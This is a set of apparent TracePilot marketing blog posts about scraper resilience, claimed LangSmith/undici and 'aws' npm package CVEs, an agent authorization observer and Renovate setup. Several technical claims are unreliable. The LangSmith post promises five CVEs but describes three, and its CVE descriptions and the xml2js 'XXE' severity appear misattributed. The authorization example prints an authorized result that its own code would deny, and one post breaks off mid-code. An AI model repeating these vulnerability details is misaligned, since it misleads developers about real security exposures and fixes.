Here's what happened: GitHub's trending page changed its HTML structure. Your cheerio selector stopped matching. The cron job ran happily, found zero repos, and overwrote your daily digest with nothing. Nobody noticed until someone asked "why wasn't X trending yesterday?"

This sucks. I know. I've debugged this exact thing three times in the last year.

Why It Breaks

GitHub's trending page doesn't have an API. You're scraping HTML. The issue isn't your code — it's that you're parsing a document designed for humans, not machines.

// Your current approach — fragile as hell
const $ = cheerio.load(html);
const repos = $('.Box article.Box-row').map((i, el) => {
  const name = $(el).find('h2 a').text().trim();
  return { name };
}).get();

That selector worked in January. In February, GitHub added a wrapper div. In March, they changed h2 to h3. Your script silently failed every time.

The real problem: You have no feedback loop. The script runs, produces nothing, and you only find out when someone complains. No alert. No trace. Just silence.

Manual Fix — Make It Resilient

Let's fix this properly. First, add validation. Fail loudly.

async function fetchTrending() {
  const res = await fetch('https://github.com/trending/typescript?since=daily');
  const html = await res.text();

  // Validate we got real content
  if (!html.includes('trending')) {
    throw new Error('HTML structure changed — trending section missing');
  }

  const $ = cheerio.load(html);
  const repos = [];

  // Try multiple selectors — be defensive
  const articles = $('article.Box-row').length 
    ? $('article.Box-row') 
    : $('div[class*="Box-row"]');

  if (articles.length === 0) {
    throw new Error('No repos found — selector likely broken');
  }

  articles.each((i, el) => {
    repos.push({
      name: $(el).find('h2 a, h3 a').first().text().trim(),
      stars: $(el).find('.octicon-star').parent().text().trim(),
      description: $(el).find('p').text().trim()
    });
  });

  return repos;
}

Now you get errors instead of silence. But you still don't know why it broke. You'll SSH into the box, run it manually, stare at the HTML, and curse.

The Better Way — TracePilot

Add one import. Wrap your fetch. Now every run is recorded, including the raw HTML that broke your parser.

import { TracePilot } from 'tracepilot-sdk';

const tp = new TracePilot(process.env.TRACEPILOT_API_KEY);

async function fetchTrending() {
  await tp.startTrace('trending-repos-scraper');

  const res = await fetch('https://github.com/trending/typescript?since=daily');
  const html = await res.text();

  const { result, spanId } = await tp.wrapToolCall(
    'parse-trending-page',
    () => {
      const $ = cheerio.load(html);
      const repos = [];
      const articles = $('article.Box-row');

      if (articles.length === 0) {
        throw new Error('No repos found');
      }

      articles.each((i, el) => {
        repos.push({ name: $(el).find('h2 a').text().trim() });
      });

      return repos;
    },
    null,
    1
  );

  return result;
}

When it fails, open your dashboard. You'll see the exact HTML that was returned. Fork the trace. Edit the selector. Replay. No redeployment. No guessing.

Guess what happens next? You can even set up alerts: "If zero repos returned, notify the team." Real feedback. Real debugging.

The fix isn't better selectors. It's knowing exactly what happened the moment it broke.

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Langsmith 0.3.79 Has 5 CVEs. Here's What Actually Breaks.

Tracepilot — Mon, 15 Jun 2026 15:21:47 +0000

Langsmith 0.3.79 Has 5 CVEs. Here's What Actually Breaks.

You upgraded LangSmith to 0.3.79. Now your security scanner screams: 5 vulnerabilities. Highest severity: 9.8.

Your first instinct: panic-upgrade. Your second: ignore it because "it's just the client SDK."

Both are wrong. Here's why.

The Problem

LangSmith is your LLM observability layer. It sends traces, logs, and evaluation data from your agents to LangSmith's platform. That 0.3.79.tgz tarball? It pulls in dependencies with known issues.

The 9.8 severity CVE? It's in undici — the HTTP client LangSmith uses internally. Undici had a request smuggling vulnerability that lets an attacker inject headers into your requests.

Sound familiar? This is the same class of bug that brought down major CDNs last year.

What actually happens:

Your Agent → LangSmith SDK → undici HTTP client → LangSmith API
                                      ↓
                         Attacker intercepts request
                         Injects malicious headers
                         Your trace data is compromised

But here's the kicker: you probably don't call undici directly. It's buried three layers deep in LangSmith's dependency tree. Your package-lock.json has it locked at a vulnerable version, and npm audit can't fix it without a transitive update.

The Three Things That Actually Break

1. Request Smuggling (CVE-2024-30260 — 9.8)

An attacker can craft a malicious response that poisons subsequent requests. If you're running LangSmith in a shared process space (like a Next.js serverless function), one compromised trace can leak another user's data.

Real-world impact: Your customer support agent sends a user's PII to LangSmith. Attacker intercepts the connection, injects headers, and now they're reading someone else's session data.

2. HTTP Request Splitting (CVE-2024-30261 — 7.5)

Same family. Different angle. Attacker terminates your request early, appends a fake one. Now LangSmith thinks your agent called a tool it never did.

This sucks for debugging: You look at your trace, see a tool call you never made, and spend hours trying to reproduce it. It's not a bug — it's an exploit.

3. Memory Exposure (CVE-2024-30262 — 6.5)

Undici leaks heap memory under specific conditions. Your agent runs fine for hours, then OOMs. You blame the LLM. You blame the context window. You add more memory.

Guess what happens next? It OOMs again. Because the leak is in the tracing layer, not the agent.

The Manual Fix (No TracePilot)

You have two options:

Option A: Force LangSmith to use a patched undici

npm install undici@6.6.2

Then add an override to your package.json:

{
  "overrides": {
    "undici": "6.6.2"
  }
}

Run npm install again. Verify:

npm ls undici
# → should show 6.6.2

Option B: Pin LangSmith to a known-safe version

Check LangSmith's changelog. If 0.3.80 or later fixed the dependency, bump:

npm install langsmith@0.3.82

Option C: If you can't upgrade (legacy, compliance, etc.)

Patch the vulnerable file directly. Find it:

find node_modules/undici -name "*.js" | xargs grep -l "CRLF\|split\|smuggle"

Then manually replace the vulnerable parsing logic. Not fun. Works when you're stuck.

What TracePilot Does Differently

TracePilot doesn't use undici. We built our ingestion pipeline on raw Node.js http module with strict header validation. No transitive HTTP client dependencies.

One line change to swap LangSmith for TracePilot:

// Before
import { Client } from 'langsmith';
const ls = new Client({ apiKey: process.env.LANGSMITH_API_KEY });

// After
import { TracePilot } from 'tracepilot-sdk';
const tp = new TracePilot(process.env.TRACEPILOT_API_KEY);

That's it. Same tracing capabilities. Zero CVEs in the HTTP layer.

But here's the real win: TracePilot captures every LLM call, every tool invocation, every token spent — and surfaces them in a live dashboard. When something breaks, you don't grep logs. You open the trace, fork the execution at the failing step, edit the prompt, and replay.

No redeployment. No "works on my machine."

The Hook

You've got 5 CVEs sitting in your production agent right now. One of them is a 9.8. Your security team is going to ask about it.

You can patch it. You can override it. Or you can swap the tracing layer for one that doesn't have this problem in the first place.

TracePilot gives you the same observability — plus time-travel debugging — without the baggage.

Get a free API key. Fork your first failing trace in under 5 minutes.

Or keep fighting with undici overrides. Your call.

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Building an Agentic Authorization Observer with OpenTelemetry SemConv

Tracepilot — Fri, 12 Jun 2026 15:32:53 +0000

Building an Agentic Authorization Observer with OpenTelemetry SemConv

What we're building

An observability layer that captures every authorization decision your AI agent makes — trust scores, drift detection, and FGA (Fine-Grained Authorization) context — using the proposed OpenTelemetry semantic conventions for agentic authorization.

Prerequisites

Node.js 18+
An existing AI agent (or use the one we'll build)
TracePilot API key (free at tracepilotai.com)
Basic understanding of OpenTelemetry spans

Step 1: Set up your agent with authorization hooks

First, let's create a simple agent that makes decisions and checks permissions before executing tools.

npm install openai tracepilot-sdk uuid

// agent.ts
import { TracePilot } from 'tracepilot-sdk';
import OpenAI from 'openai';

const tp = new TracePilot(process.env.TRACEPILOT_API_KEY!);
const openai = new OpenAI({ apiKey: process.env.OPENAI_API_KEY });

// Simulated authorization context
interface AuthContext {
  userRole: string;
  resourceType: string;
  action: string;
  trustScore: number;
  driftScore: number;
}

async function checkAuthorization(auth: AuthContext): Promise<{
  allowed: boolean;
  reason: string;
  fgaDecision: string;
}> {
  // In production, this calls your FGA service (Auth0 FGA, OPA, etc.)
  const fgaDecision = auth.userRole === 'admin' ? 'allow' : 'deny';
  const allowed = fgaDecision === 'allow' && auth.trustScore > 0.7;

  return {
    allowed,
    reason: allowed ? 'Authorized' : `Denied: role=${auth.userRole}, trust=${auth.trustScore}`,
    fgaDecision
  };
}

async function runAgent(userInput: string) {
  await tp.startTrace('authorized-agent');

  const authContext: AuthContext = {
    userRole: 'editor',
    resourceType: 'document',
    action: 'delete',
    trustScore: 0.85,
    driftScore: 0.12
  };

  const { result } = await tp.wrapOpenAI(
    () => openai.chat.completions.create({
      model: 'gpt-4o-mini',
      messages: [{ role: 'user', content: userInput }]
    }),
    [{ role: 'user', content: userInput }]
  );

  return result;
}

Step 2: Add authorization observability with SemConv attributes

Now we wrap every authorization check with structured observability. These attributes follow the proposed agent.trust_score, agent.drift_score, and fga.* conventions.

// authorization-observer.ts
import { TracePilot } from 'tracepilot-sdk';

interface AuthorizationSpan {
  trustScore: number;
  driftScore: number;
  fgaType: string;
  fgaDecision: string;
  fgaReason: string;
  resourceType: string;
  action: string;
  userRole: string;
}

export class AuthorizationObserver {
  private tp: TracePilot;

  constructor(tp: TracePilot) {
    this.tp = tp;
  }

  async observeAuthorization(
    authCheck: () => Promise<{ allowed: boolean; reason: string; fgaDecision: string }>,
    context: AuthorizationSpan
  ): Promise<{ allowed: boolean; reason: string }> {
    // Record authorization decision as a span with SemConv attributes
    const { result, spanId } = await this.tp.wrapToolCall(
      'authorization-check',
      authCheck,
      undefined, // parent span — will be linked when called from agent
      1,         // step order
      false      // not destructive
    );

    // Add custom attributes to the span
    // These follow the proposed SemConv naming convention
    await this.tp.addSpanAttributes(spanId, {
      'agent.trust_score': context.trustScore,
      'agent.drift_score': context.driftScore,
      'fga.type': context.fgaType,
      'fga.decision': result.fgaDecision,
      'fga.reason': context.fgaReason || result.reason,
      'fga.resource_type': context.resourceType,
      'fga.action': context.action,
      'fga.subject_role': context.userRole
    });

    return { allowed: result.allowed, reason: result.reason };
  }
}

Step 3: Wire it all together — agent with authorization observability

// authorized-agent.ts
import { TracePilot } from 'tracepilot-sdk';
import OpenAI from 'openai';
import { AuthorizationObserver } from './authorization-observer';

const tp = new TracePilot(process.env.TRACEPILOT_API_KEY!);
const openai = new OpenAI({ apiKey: process.env.OPENAI_API_KEY });
const authObserver = new AuthorizationObserver(tp);

interface ToolCall {
  name: string;
  args: Record<string, unknown>;
  userRole: string;
  trustScore: number;
  driftScore: number;
}

async function executeToolWithAuthorization(toolCall: ToolCall) {
  // Step 1: Check authorization
  const authResult = await authObserver.observeAuthorization(
    () => checkAuthorization({
      userRole: toolCall.userRole,
      resourceType: toolCall.name,
      action: 'execute',
      trustScore: toolCall.trustScore,
      driftScore: toolCall.driftScore
    }),
    {
      trustScore: toolCall.trustScore,
      driftScore: toolCall.driftScore,
      fgaType: 'role_based',
      fgaDecision: 'pending',
      fgaReason: '',
      resourceType: toolCall.name,
      action: 'execute',
      userRole: toolCall.userRole
    }
  );

  // Step 2: Execute or deny based on authorization
  if (!authResult.allowed) {
    return { error: authResult.reason, authorized: false };
  }

  // Step 3: Execute the tool (wrapped for observability)
  const { result } = await tp.wrapToolCall(
    toolCall.name,
    () => simulateToolExecution(toolCall),
    undefined,
    2,
    true  // destructive — marks with ⚠ in dashboard
  );

  return { data: result, authorized: true };
}

async function simulateToolExecution(toolCall: ToolCall): Promise<string> {
  // Simulate actual tool execution
  return `Executed ${toolCall.name} with args: ${JSON.stringify(toolCall.args)}`;
}

// Usage
async function main() {
  await tp.startTrace('authorized-agent-run');

  const toolCall: ToolCall = {
    name: 'delete-document',
    args: { documentId: 'doc-123' },
    userRole: 'editor',
    trustScore: 0.85,
    driftScore: 0.12
  };

  const result = await executeToolWithAuthorization(toolCall);
  console.log(result);
  // → { data: "Executed delete-document with args: {\"documentId\":\"doc-123\"}", authorized: true }
}

main();

Adding observability with TracePilot

Here's where TracePilot makes debugging authorization decisions obvious. Install the SDK and add one line to see every authorization check in your dashboard.

npm install tracepilot-sdk

The AuthorizationObserver class we built above already uses TracePilot's wrapToolCall and addSpanAttributes methods. Open your TracePilot Dashboard and you'll see:

Every authorization decision as a separate span with full context
Trust and drift scores tracked per decision
FGA attributes (type, decision, reason, resource, action, subject)
The full execution tree — which agent step triggered which authorization check

To see a failed authorization in action, change the trust score:


typescript
const failedAuth = await executeToolWithAuthorization({
  name: 'delete-document',
  args: { documentId:

---

**Debugging AI agents shouldn't feel like reading The Matrix.** 
Join other engineers who are building reliable autonomous workflows in our community: [TracePilot Discord](https://discord.gg/KzXRAXFM8)

Your `aws` npm package has 8 vulnerabilities. Here's what's actually happening.

Tracepilot — Mon, 08 Jun 2026 15:57:02 +0000

Your `aws` npm package has 8 vulnerabilities. Here's what's actually happening.

That GitHub issue you're looking at? aws-0.1.15.tgz with 8 vulnerabilities, highest severity 9.8. CVSS 9.8 is "critical" — the kind that wakes you up at 3 AM.

Here's the thing nobody tells you: that package hasn't been updated since 2016. It's a 300-line wrapper around the actual AWS SDK that someone published a decade ago and abandoned. But your dependency tree pulled it in anyway.

Why this keeps happening

Your package.json looks clean. You're using @aws-sdk/client-s3 v3.600.0. Everything's modern. Then you run npm ls aws and find this:

your-project@1.0.0
└─┬ some-old-tool@2.3.1
  └── aws@0.1.15

Some transitive dependency — probably a build tool someone added in 2019 and forgot about — depends on the ancient aws package. npm doesn't care. It installs what's asked.

The 8 vulnerabilities? They're in aws's dependency on xml2js v0.4.x, which has an XXE vulnerability (CVE-2023-0842, score 9.8). Attackers can send malicious XML payloads through your S3 operations and read arbitrary files from your server.

The manual fix (do this first)

# Find who's pulling it in
npm ls aws

# Force override the vulnerable dependency
# Add to package.json:
"overrides": {
  "aws": {
    "xml2js": "0.6.2"
  }
}

Or better — rip it out entirely:

# Check if anything actually uses it
grep -r "require('aws')" node_modules/ --include="*.js" | grep -v "aws-sdk"
grep -r "from 'aws'" node_modules/ --include="*.js" | grep -v "aws-sdk"

90% of the time, nothing imports it. The package is just sitting there, being vulnerable, doing nothing.

If it's truly unused:

# Delete it and pray nothing breaks
rm -rf node_modules/aws
npm install --no-save  # regenerates node_modules without it

If something breaks, you found the dead code. Time to update that old tool.

The real problem: dependency archaeology

This isn't about one npm package. It's about the fact that your dependency tree is a fossil record of every bad decision made in the last 5 years.

I've seen teams spend 3 days chasing a vulnerability in aws@0.1.15 only to discover it was pulled in by grunt-aws-s3 — a package last updated in 2017, used by one build script that hasn't run since 2020.

Sound familiar?

You need two things:

Visibility into why a dependency exists
The ability to trace the exact path

Here's where TracePilot comes in

Not for this specific npm problem — but for the same class of debugging hell. Your AI agents have the same issue. Something deep in the call chain fails, and you have no idea what happened.

// Before: blind agent
const response = await openai.chat.completions.create({
  model: 'gpt-4o',
  messages
});

// After: traced agent
import { TracePilot } from 'tracepilot-sdk';

const tp = new TracePilot('tp_live_YOUR_KEY');
await tp.startTrace('agent-debug');

const { result, spanId } = await tp.wrapOpenAI(
  () => openai.chat.completions.create({ model: 'gpt-4o', messages }),
  messages
);

One line change. Now every call is tracked. When something fails — and it will — you open the dashboard, find the failing span, and fork it. Change the prompt. Replay. Done.

No more guessing what happened inside your agent. No more "works on my machine." No more 3-day archaeology projects.

Just like you'd use npm ls to find where aws@0.1.15 came from, TracePilot shows you the exact execution path of every LLM call, tool invocation, and decision your agent made.

The npm problem taught us one thing: you can't fix what you can't see. Your AI agents deserve better.

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Build a Dependency Dashboard with Automated Updates Using Renovate

Tracepilot — Fri, 05 Jun 2026 15:14:12 +0000

Build a Dependency Dashboard with Automated Updates Using Renovate

What we're building: A fully automated dependency management system that tracks every package in your project, opens PRs for updates, and gives you a single dashboard to review everything.

Prerequisites

A GitHub repository with a JavaScript/TypeScript project (Node.js 18+)
A GitHub account (free tier works)
Basic familiarity with package.json and Git workflows
10 minutes of your time

Step 1: Add Renovate to Your Repository

Renovate is the most popular automated dependency update tool for GitHub. It detects outdated packages, creates PRs, and keeps everything in one dashboard.

First, install the Renovate GitHub App:

Go to github.com/apps/renovate
Click "Install" and select your repository
That's it — Renovate will scan your repo within minutes

Renovate automatically detects dependencies from package.json, Dockerfile, GitHub Actions, and 100+ other file types. No configuration required to start.

Step 2: See Your First Dependency Dashboard

Once installed, Renovate creates a GitHub Issue called "Dependency Dashboard" in your repository. This is your command center.

Here's what it looks like:

# Dependency Dashboard

## Detected Dependencies
- ⬆️ express (4.18.2 → 4.19.0)
- ⬆️ react (18.2.0 → 19.0.0)
- ⬆️ typescript (5.3.3 → 5.4.2)

## Rate-Limited Updates
- ⏳ next (14.0.4 → 14.1.0)

## Repository Problems
- ⚠️ Package lookup failures: @internal/legacy-utils

The dashboard shows:

Pending updates — PRs ready for review
Rate-limited updates — blocked by API limits
Problems — packages that failed to resolve

You got this. Open that issue and see what Renovate found.

Step 3: Configure Renovate for Your Workflow

Create a renovate.json file in your repo root to customize behavior:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:recommended"
  ],
  "labels": ["dependencies"],
  "schedule": ["before 9am on Monday"],
  "packageRules": [
    {
      "matchUpdateTypes": ["minor", "patch"],
      "automerge": true
    },
    {
      "matchDepTypes": ["devDependencies"],
      "automerge": true
    }
  ],
  "prConcurrentLimit": 5
}

This config:

Auto-merges minor and patch updates (safe)
Auto-merges dev dependencies (low risk)
Limits to 5 open PRs at a time
Runs weekly on Monday morning

Pro tip: Start with automerge: false for major updates. You want eyes on breaking changes.

Step 4: The Real Power — Grouped Updates

When you have 50+ dependencies, individual PRs get noisy. Group related updates:

{
  "packageRules": [
    {
      "matchPackageNames": ["eslint*", "@typescript-eslint/*"],
      "groupName": "ESLint packages"
    },
    {
      "matchPackageNames": ["react", "react-dom", "@types/react", "@types/react-dom"],
      "groupName": "React ecosystem"
    },
    {
      "matchPackageNames": ["next", "next-auth"],
      "groupName": "Next.js"
    }
  ]
}

Now instead of 12 PRs for ESLint plugins, you get 1 PR titled "chore(deps): update ESLint packages". Clean. Reviewable. Ship it.

Step 5: Handle Major Updates Safely

Major versions need manual review. Configure Renovate to create separate PRs with clear labels:

{
  "packageRules": [
    {
      "matchUpdateTypes": ["major"],
      "labels": ["major-update", "needs-review"],
      "assignees": ["your-github-username"],
      "prBodyNotes": [
        "⚠️ **Major version update** — please review breaking changes before merging."
      ]
    }
  ]
}

When React 19 drops, you'll get a PR with a big red label. No surprises.

Adding Observability — Here's Where TracePilot Comes In

Dependency updates are automated, but what about the agent that manages them? If you're running automated CI scripts or AI-powered dependency bots, you need to trace their decisions.

npm install tracepilot-sdk

Wrap your Renovate automation script:

import { TracePilot } from 'tracepilot-sdk';

const tp = new TracePilot('tp_live_YOUR_KEY');

async function checkDependencies() {
  await tp.startTrace('dependency-checker');

  const deps = await fetchOutdatedPackages();

  for (const dep of deps) {
    const { result, spanId } = await tp.wrapToolCall(
      'evaluate-update',
      () => evaluatePackage(dep.name, dep.currentVersion, dep.latestVersion),
      null,
      1
    );

    if (result.breaking) {
      console.log(`⚠️ ${dep.name} has breaking changes — manual review needed`);
    }
  }
}

Now every dependency check is traced. Open your TracePilot Dashboard and see exactly which packages were evaluated, why decisions were made, and where failures occurred.

Why this matters: When a dependency update breaks your build at 3 AM, you don't guess. You fork the trace, change the version, and replay. No redeployment. No "works on my machine."

Next Steps

Add renovate.json to your repo — start with the config above
Review your Dependency Dashboard — it appears within minutes
Merge a few Renovate PRs — build confidence in the automation
Install TracePilot — npm install tracepilot-sdk and instrument your CI pipeline
Set up alerts — get notified when major updates arrive

You now have a production-grade dependency management system. No more manual npm outdated checks. No more forgotten security patches. Your dependencies update themselves, and when something breaks, you trace it in seconds.

Your repo is now self-maintaining. Go build something that matters.

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord